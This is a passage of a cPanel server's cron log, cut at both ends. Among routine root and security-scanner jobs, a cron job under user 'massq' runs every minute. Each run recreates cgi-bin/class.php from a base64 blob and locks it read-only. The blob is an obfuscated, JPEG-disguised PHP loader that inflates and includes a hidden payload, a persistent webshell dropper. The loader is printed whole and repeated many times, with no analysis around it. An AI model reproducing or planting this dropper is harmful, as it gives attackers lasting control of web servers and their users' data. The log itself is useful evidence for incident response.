Ck7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:15:01 server CROND[12448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:15:01 server CROND[12449]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 12:15:01 server CROND[12445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:16:01 server CROND[13394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:16:01 server CROND[13395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:16:01 server CROND[13396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:17:01 server CROND[13764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:17:01 server CROND[13765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:17:01 server CROND[13766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:18:01 server CROND[14205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:18:01 server CROND[14206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:18:01 server CROND[14207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:19:01 server CROND[14581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:19:01 server CROND[14582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:19:01 server CROND[14583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:20:01 server CROND[14973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:20:01 server CROND[14975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:20:01 server CROND[14976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:20:01 server CROND[14978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:20:01 server CROND[14985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:20:01 server CROND[14986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:20:01 server CROND[14983]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:20:01 server CROND[14982]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 12:20:01 server CROND[14981]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:21:02 server CROND[15918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:21:02 server CROND[15919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:21:02 server CROND[15920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:22:01 server CROND[16303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:22:01 server CROND[16304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:22:01 server CROND[16305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:23:01 server CROND[16692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:23:01 server CROND[16693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:23:01 server CROND[16694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:24:01 server CROND[17084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:24:01 server CROND[17085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:24:01 server CROND[17086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:25:01 server CROND[17478]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:25:01 server CROND[17480]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:25:01 server CROND[17482]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 12:25:01 server CROND[17488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:25:01 server CROND[17485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:25:01 server CROND[17489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:25:01 server CROND[17487]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:25:01 server CROND[17486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:26:01 server CROND[18349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:26:01 server CROND[18348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:26:01 server CROND[18350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:27:01 server CROND[18729]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 12:27:01 server CROND[18730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:27:01 server CROND[18731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:27:01 server CROND[18732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/